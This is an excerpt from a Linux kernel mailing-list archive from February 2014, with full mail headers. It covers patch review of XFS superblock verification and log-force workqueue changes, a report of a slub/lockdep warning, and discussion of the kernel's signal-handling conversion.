<52FD4B10.2010005@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FD4B10.2010005@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392332611 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145091 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 04:45:36PM -0600, Eric Sandeen wrote: > @@ -334,7 +341,12 @@ reread: > if (sector_size < sbp->sb_sectsize) { > xfs_buf_relse(bp); > sector_size = sbp->sb_sectsize; > + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; > goto reread; > + } else { > + /* We guessed right! Verify it. */ > + bp->b_ops = &xfs_sb_buf_ops; > + bp->b_ops->verify_read(bp); > } One needs to check bp->b_error after verification ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Thu Feb 13 17:32:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6B9737F5D for ; Thu, 13 Feb 2014 17:32:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E1D1EAC005 for ; Thu, 13 Feb 2014 15:32:15 -0800 (PST) X-ASG-Debug-ID: 1392334333-04bdf0734c1e5d80001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id p1HkgInL33NGuOx5 for ; Thu, 13 Feb 2014 15:32:13 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E8E87602D85E; Thu, 13 Feb 2014 17:32:12 -0600 (CST) Message-ID: <52FD55FC.1000103@sandeen.net> Date: Thu, 13 Feb 2014 17:32:12 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V3] xfs: skip verification on initial "guess" superblock read References: <52FD3C59.3050400@redhat.com> X-ASG-Orig-Subj: [PATCH V3] xfs: skip verification on initial "guess" superblock read In-Reply-To: <52FD3C59.3050400@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392334333 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145091 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- When xfs_readsb() does the very first read of the superblock, it makes a guess at the length of the buffer, based on the sector size of the underlying storage. This may or may not match the filesystem sector size in sb_sectsize, so we can't i.e. do a CRC check on it; it might be too short. In fact, mounting a filesystem with sb_sectsize larger than the device sector size will cause a mount failure if CRCs are enabled, because we are checksumming a length which exceeds the buffer passed to it. So always read twice; the first time we read with NULL buffer ops to skip verification; then set the proper read length, hook up the proper verifier, and give it another go. Signed-off-by: Eric Sandeen --- V3: Go back to always reading twice, to avoid the need for duplicating the code that handles verifier errors. diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 02df7b4..f96c056 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -282,22 +282,29 @@ xfs_readsb( struct xfs_sb *sbp = &mp->m_sb; int error; int loud = !(flags & XFS_MFSI_QUIET); + const struct xfs_buf_ops *buf_ops; ASSERT(mp->m_sb_bp == NULL); ASSERT(mp->m_ddev_targp != NULL); /* + * For the initial read, we must guess at the sector + * size based on the block device. It's enough to + * get the sb_sectsize out of the superblock and + * then we can reread with the proper length. + * We don't verify it yet, because it may not be complete. + */ + sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); + buf_ops = NULL; + + /* * Allocate a (locked) buffer to hold the superblock. * This will be kept around at all times to optimize * access to the superblock. */ - sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); - reread: bp = xfs_buf_read_uncached(mp->m_ddev_targp, XFS_SB_DADDR, - BTOBB(sector_size), 0, - loud ? &xfs_sb_buf_ops - : &xfs_sb_quiet_buf_ops); + BTOBB(sector_size), 0, buf_ops); if (!bp) { if (loud) xfs_warn(mp, "SB buffer read failed"); @@ -328,12 +335,13 @@ reread: } /* - * If device sector size is smaller than the superblock size, - * re-read the superblock so the buffer is correctly sized. + * Re-read the superblock so the buffer is correctly sized, + * and properly verified. */ - if (sector_size < sbp->sb_sectsize) { + if (buf_ops == NULL) { xfs_buf_relse(bp); sector_size = sbp->sb_sectsize; + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; goto reread; } diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 5071ccb..1b0b503 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -644,7 +644,6 @@ xfs_sb_quiet_read_verify( { struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { /* XFS filesystem, verify noisily! */ xfs_sb_read_verify(bp); From lists@nerdbynature.de Thu Feb 13 17:34:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D50D37F60 for ; Thu, 13 Feb 2014 17:34:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A8A268F8033 for ; Thu, 13 Feb 2014 15:34:32 -0800 (PST) X-ASG-Debug-ID: 1392334471-04cbb00c28377840001-NocioJ Received: from trent.utfs.org (trent.utfs.org [94.185.90.103]) by cuda.sgi.com with ESMTP id RJAH0d7PAiBDRKRE for ; Thu, 13 Feb 2014 15:34:31 -0800 (PST) X-Barracuda-Envelope-From: lists@nerdbynature.de X-Barracuda-Apparent-Source-IP: 94.185.90.103 Received: by trent.utfs.org (Postfix, from userid 8) id F32F33DB5F; Fri, 14 Feb 2014 00:34:30 +0100 (CET) Received: from trent.utfs.org (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id AE34E3DB3F; Fri, 14 Feb 2014 00:34:19 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by trent.utfs.org (Postfix) with ESMTP id 9290E3DABF; Fri, 14 Feb 2014 00:34:19 +0100 (CET) Date: Thu, 13 Feb 2014 15:34:19 -0800 (PST) From: Christian Kujau To: Dave Chinner cc: LKML , xfs@oss.sgi.com, linux-mm@kvack.org Subject: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 In-Reply-To: <20140213222602.GK13997@dastard> X-ASG-Orig-Subj: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 Message-ID: References: <20140213222602.GK13997@dastard> User-Agent: Alpine 2.19.4 (DEB 40 2013-11-18) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII X-AV-Checked: ClamAV using ClamSMTP (127.0.0.1) X-Barracuda-Connect: trent.utfs.org[94.185.90.103] X-Barracuda-Start-Time: 1392334471 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145091 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, 14 Feb 2014 at 09:26, Dave Chinner wrote: > > after upgrading from 3.13-rc8 to 3.14.0-rc2 on this PowerPC G4 machine, > > the WARNING below was printed. > > > > Shortly after, a lockdep warning appeared (possibly related to my > > post to the XFS list yesterday[0]). > > Unlikely. OK, so the "possible irq lock inversion dependency detected" is a lockdep regression, as you explained in the xfs-list thread. What about the "RECLAIM_FS-safe -> RECLAIM_FS-unsafe lock order detected" warning - I haven't seen it again though, only once with 3.14.0-rc2. Christian. -- BOFH excuse #108: The air conditioning water supply pipe ruptured over the machine room From viro@ftp.linux.org.uk Thu Feb 13 18:09:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BF31A7F58 for ; Thu, 13 Feb 2014 18:09:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A842A304039 for ; Thu, 13 Feb 2014 16:09:11 -0800 (PST) X-ASG-Debug-ID: 1392336549-04cbb00c2b379c90001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id F9eKdaGFZCzsG7AC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Feb 2014 16:09:10 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WE6L0-0000vg-Jt; Fri, 14 Feb 2014 00:09:02 +0000 Date: Fri, 14 Feb 2014 00:09:02 +0000 From: Al Viro To: Linus Torvalds Cc: Oleg Nesterov , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214000902.GA3078@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140212214411.GQ18016@ZenIV.linux.org.uk> <20140213205146.GS18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140213205146.GS18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392336550 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145092 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 08:51:46PM +0000, Al Viro wrote: > On Wed, Feb 12, 2014 at 09:44:11PM +0000, Al Viro wrote: > > > I'll try to put something along those lines together, if you or Oleg don't > > do it first. > > OK, having looked at that stuff... > > 1) things become much more compact if we finish conversion to get_signal() > first. Callers of get_signal_to_deliver() have k_sigaction and siginfo in > pair of local variables; switching to ksignal will be neutral wrt stack > footprint (it just gathers those two in one struct) *and* we are getting > rid of passing struct siginfo * around. With that done, we can change > struct ksignal ->info with zero impact on the code in arch/*, and conversion > makes sense on its own. In the mainline we have it done for alpha, arm, > openrisc, sparc and x86. I've just put together preliminary (and completely > untested) patches for arm64, m68k and um; doing the rest won't take long, but > they'll obviously need to be tested. It's a fairly safe conversion; > I'd expect the worst bugs to be typos. OK, there's a couple of tricks that allow to reorder that. First of all, temporary config symbol (ARCH_USES_KSIGNAL) selecting that stuff; if it's not selected, we just have #define small_siginfo siginfo and #define assign_sigqueue(info, q) WARN_ON((q) != NULL) and that's it - most of the changes in core kernel consist of s/siginfo/small_&/ and non-trivial ones are under ifdef CONFIG_ARCH_USES_KSIGNAL for the time being. Small ifdefs, at that... Once all architectures get converted, we'll just kill that config symbol and make ifdefs unconditional. Another is that we don't need to bother with task_work_add() at all; on converted architectures we have signal_setup_done(..., ksig, ...) called after each successful get_signal() (the first argument of signal_setup_done() is "has sigframe setup failed" flag; we get there regardless of success or failure of setup_...frame()). So we can just have that sucker do assign_sigqueue(&ksig->info, NULL) and be done with that - all this delayed freeing is explicit now (and we don't get locking overhead, etc. of task_work_add()). If what I've got survives the local beating, I'll put it into signal.git, throw the arch conversions I could test in there and ask on linux-arch for help with the missing ones. With any luck we'll get the full set by the next merge window, at which point we'll be able to kill ifdefs. From david@fromorbit.com Thu Feb 13 18:24:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DAFA57F63 for ; Thu, 13 Feb 2014 18:24:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C61A38F8037 for ; Thu, 13 Feb 2014 16:24:34 -0800 (PST) X-ASG-Debug-ID: 1392337471-04cbb00c2a37ae60001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id qLwXCsoFVyTGozLW for ; Thu, 13 Feb 2014 16:24:32 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJAH1h/VJ5LJYe/2dsb2JhbABZgwa7D4VQgRgXdIIlAQEFJxMcIxAIAxUDCSUPBSUDIROIBMhhFxaOYweEOASYK4pQh1SDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 10:54:30 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE6Zv-00054I-ON; Fri, 14 Feb 2014 11:24:27 +1100 Date: Fri, 14 Feb 2014 11:24:27 +1100 From: Dave Chinner To: Linus Torvalds Cc: Al Viro , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214002427.GN13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140211210841.GM13647@dastard> <52FA9ADA.9040803@sandeen.net> <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212071829.GE13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140212071829.GE13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392337471 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145092 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 06:18:29PM +1100, Dave Chinner wrote: > > It looks like just "do_signal()" has a stack frame that is about 230 > > bytes even under normal circumstancs (largely due to "struct ksignal" > > - which in turn is largely due to the insane 128-byte padding in > > siginfo_t). Add a few other frames in there, and I guess that if it > > was close before, the coredump path just makes it go off. > > Yup. But it's when you see this sort of thing you realise that > almost no GFP_KERNEL memory allocation is really safe from stack > overruns, though: > > 0) 6064 64 update_group_power+0x2c/0x270 > 1) 6000 384 find_busiest_group+0x10a/0x8b0 > 2) 5616 288 load_balance+0x165/0x870 > 3) 5328 96 idle_balance+0x106/0x1b0 > 4) 5232 112 __schedule+0x7b6/0x7e0 > 5) 5120 16 schedule+0x29/0x70 > 6) 5104 176 percpu_ida_alloc+0x1b3/0x3d0 > 7) 4928 32 blk_mq_wait_for_tags+0x1f/0x40 > 8) 4896 80 blk_mq_alloc_request_pinned+0x4e/0x110 > 9) 4816 128 blk_mq_make_request+0x42b/0x510 > 10) 4688 48 generic_make_request+0xc0/0x110 > 11) 4640 96 submit_bio+0x71/0x120 > 12) 4544 192 _xfs_buf_ioapply+0x2cc/0x3b0 > 13) 4352 48 xfs_buf_iorequest+0x6f/0xc0 > 14) 4304 32 xlog_bdstrat+0x23/0x60 > 15) 4272 96 xlog_sync+0x3a4/0x5c0 > 16) 4176 48 xlog_state_release_iclog+0x121/0x130 > 17) 4128 192 xlog_write+0x700/0x7c0 > 18) 3936 192 xlog_cil_push+0x2ae/0x3d0 > 19) 3744 128 xlog_cil_force_lsn+0x1b8/0x1e0 > 20) 3616 144 _xfs_log_force_lsn+0x7c/0x300 > 21) 3472 48 xfs_log_force_lsn+0x3b/0xa0 > 22) 3424 112 xfs_iunpin_wait+0xd7/0x160 > 23) 3312 80 xfs_reclaim_inode+0xd0/0x350 > 24) 3232 432 xfs_reclaim_inodes_ag+0x277/0x3d0 > 25) 2800 48 xfs_reclaim_inodes_nr+0x33/0x40 > 26) 2752 16 xfs_fs_free_cached_objects+0x15/0x20 > 27) 2736 80 super_cache_scan+0x169/0x170 > 28) 2656 160 shrink_slab_node+0x133/0x290 > 29) 2496 80 shrink_slab+0x122/0x160 > 30) 2416 112 do_try_to_free_pages+0x1de/0x360 > 31) 2304 192 try_to_free_pages+0x110/0x190 > 32) 2112 256 __alloc_pages_nodemask+0x5a2/0x8e0 > 33) 1856 80 alloc_pages_current+0xb2/0x170 > 34) 1776 64 new_slab+0x265/0x2e0 > 35) 1712 240 __slab_alloc+0x2fb/0x4c4 > 36) 1472 80 kmem_cache_alloc+0x10b/0x140 > > That's almost 4700 bytes of stack usage from the > kmem_cache_alloc(GFP_KERNEL) call because it entered the IO path. > Yes, it's an extreme case, but if you're looking for a smoking > gun.... :/ > > I can fix this one easily - we already have a workqueue for doing > async log pushes (will split the stack between xlog_cil_force_lsn > and xlog_cil_push), but the reason we haven't used it for synchronous > log forces is that screws up fsync performance on CFQ. We don't > recommend CFQ with XFS anyway, so I think I'll make this change > anyway. Dave, the patch below should chop off the stack usage from xfs_log_force_lsn() issuing IO by deferring it to the CIL workqueue. Can you given this a run? Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: always do log forces via the workqueue From: Dave Chinner Log forces can occur deep in the call chain when we have relatively little stack free. Log forces can also happen at close to the call chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from places where we really don't want to add more stack overhead. This stack overhead occurs because log forces do foreground CIL pushes (xlog_cil_push_foreground()) rather than waking the background push wq and waiting for the for the push to complete. This foreground push was done to avoid confusing the CFQ Io scheduler when fsync()s were issued, as it has trouble dealing with dependent IOs being issued from different process contexts. Avoiding blowing the stack is much more critical than performance optimisations for CFQ, especially as we've been recommending against the use of CFQ for XFS since 3.2 kernels were release because of it's problems with multi-threaded IO workloads. Hence convert xlog_cil_push_foreground() to move the push work to the CIL workqueue. We already do the waiting for the push to complete in xlog_cil_force_lsn(), so there's nothing else we need to modify to make this work. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_cil.c | 52 +++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 39 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index b57a8e0..7e54553 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -499,13 +499,6 @@ xlog_cil_push( cil->xc_ctx = new_ctx; /* - * mirror the new sequence into the cil structure so that we can do - * unlocked checks against the current sequence in log forces without - * risking deferencing a freed context pointer. - */ - cil->xc_current_sequence = new_ctx->sequence; - - /* * The switch is now done, so we can drop the context lock and move out * of a shared context. We can't just go straight to the commit record, * though - we need to synchronise with previous and future commits so @@ -523,8 +516,15 @@ xlog_cil_push( * Hence we need to add this context to the committing context list so * that higher sequences will wait for us to write out a commit record * before they do. + * + * xfs_log_force_lsn requires us to mirror the new sequence into the cil + * structure atomically with the addition of this sequence to the + * committing list. This also ensures that we can do unlocked checks + * against the current sequence in log forces without risking + * deferencing a freed context pointer. */ spin_lock(&cil->xc_push_lock); + cil->xc_current_sequence = new_ctx->sequence; list_add(&ctx->committing, &cil->xc_committing); spin_unlock(&cil->xc_push_lock); up_write(&cil->xc_ctx_lock); @@ -662,8 +662,14 @@ xlog_cil_push_background( } +/* + * xlog_cil_push_now() is used to trigger an immediate CIL push to the sequence + * number that is passed. When it returns, the work will be queued for + * @push_seq, but it won't be completed. The caller is expected to do any + * waiting for push_seq to complete if it is required. + */ static void -xlog_cil_push_foreground( +xlog_cil_push_now( struct xlog *log, xfs_lsn_t push_seq) { @@ -688,10 +694,8 @@ xlog_cil_push_foreground( } cil->xc_push_seq = push_seq; + queue_work(log->l_mp->m_cil_workqueue, &cil->xc_push_work); spin_unlock(&cil->xc_push_lock); - - /* do the push now */ - xlog_cil_push(log); } bool @@ -795,7 +799,8 @@ xlog_cil_force_lsn( * xlog_cil_push() handles racing pushes for the same sequence, * so no need to deal with it here. */ - xlog_cil_push_foreground(log, sequence); +restart: + xlog_cil_push_now(log, sequence); /* * See if we can find a previous sequence still committing. @@ -803,7 +808,6 @@ xlog_cil_force_lsn( * before allowing the force of push_seq to go ahead. Hence block * on commits for those as well. */ -restart: spin_lock(&cil->xc_push_lock); list_for_each_entry(ctx, &cil->xc_committing, committing) { if (ctx->sequence > sequence) @@ -821,6 +825,28 @@ restart: /* found it! */ commit_lsn = ctx->commit_lsn; } + + /* + * The call to xlog_cil_push_now() executes the push in the background. + * Hence by the time we have got here it our sequence may not have been + * pushed yet. This is true if the current sequence still matches the + * push sequence after the above wait loop and the CIL still contains + * dirty objects. + * + * When the push occurs, it will empty the CIL and + * atomically increment the currect sequence past the push sequence and + * move it into the committing list. Of course, if the CIL is clean at + * the time of the push, it won't have pushed the CIL at all, so in that + * case we should try the push for this sequence again from the start + * just in case. + */ + + if (sequence == cil->xc_current_sequence && + !list_empty(&cil->xc_cil)) { + spin_unlock(&cil->xc_push_lock); + goto restart; + } + spin_unlock(&cil->xc_push_lock); return commit_lsn; } From david@fromorbit.com Thu Feb 13 18:27:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A85867F55 for ; Thu, 13 Feb 2014 18:27:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8F7ED8F8037 for ; Thu, 13 Feb 2014 16:27:42 -0800 (PST) X-ASG-Debug-ID: 1392337660-04cbb00c2937b1c0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id pjnlqGiATXkTDDuw for ; Thu, 13 Feb 2014 16:27:40 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJAK9i/VJ5LJYe/2dsb2JhbABZgwa7D4VQgRgXdIIlAQEFOhwjEAgDGAklDwUlAyETiATIYRcWjhpJB4Q4BJgrkiSDQSiBLQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 10:57:11 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE6cW-00054y-7J; Fri, 14 Feb 2014 11:27:08 +1100 Date: Fri, 14 Feb 2014 11:27:08 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V3] xfs: skip verification on initial "guess" superblock read Message-ID: <20140214002708.GO13997@dastard> X-ASG-Orig-Subj: Re: [PATCH V3] xfs: skip verification on initial "guess" superblock read References: <52FD3C59.3050400@redhat.com> <52FD55FC.1000103@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FD55FC.1000103@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392337660 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145092 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 05:32:12PM -0600, Eric Sandeen wrote: > When xfs_readsb() does the very first read of the superblock, > it makes a guess at the length of the buffer, based on the > sector size of the underlying storage. This may or may > not match the filesystem sector size in sb_sectsize, so > we can't i.e. do a CRC check on it; it might be too short. > > In fact, mounting a filesystem with sb_sectsize larger > than the device sector size will cause a mount failure > if CRCs are enabled, because we are checksumming a length > which exceeds the buffer passed to it. > > So always read twice; the first time we read with NULL > buffer ops to skip verification; then set the proper > read length, hook up the proper verifier, and give it > another go. > > Signed-off-by: Eric Sandeen Looks fine. I'll run it through some testing and we can go from there. FWIW, does this make your "check the sector size in the sb verifier" patch redundant? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 13 19:20:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8D3AA7F67 for ; Thu, 13 Feb 2014 19:20:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7C9BC8F804B for ; Thu, 13 Feb 2014 17:20:12 -0800 (PST) X-ASG-Debug-ID: 1392340809-04cbb00c2a37e120001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id sMeTYWSJTsuDDk9o for ; Thu, 13 Feb 2014 17:20:10 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 